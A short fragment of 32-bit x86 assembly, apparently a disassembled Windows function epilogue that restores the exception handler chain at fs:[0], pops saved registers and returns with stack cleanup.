mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24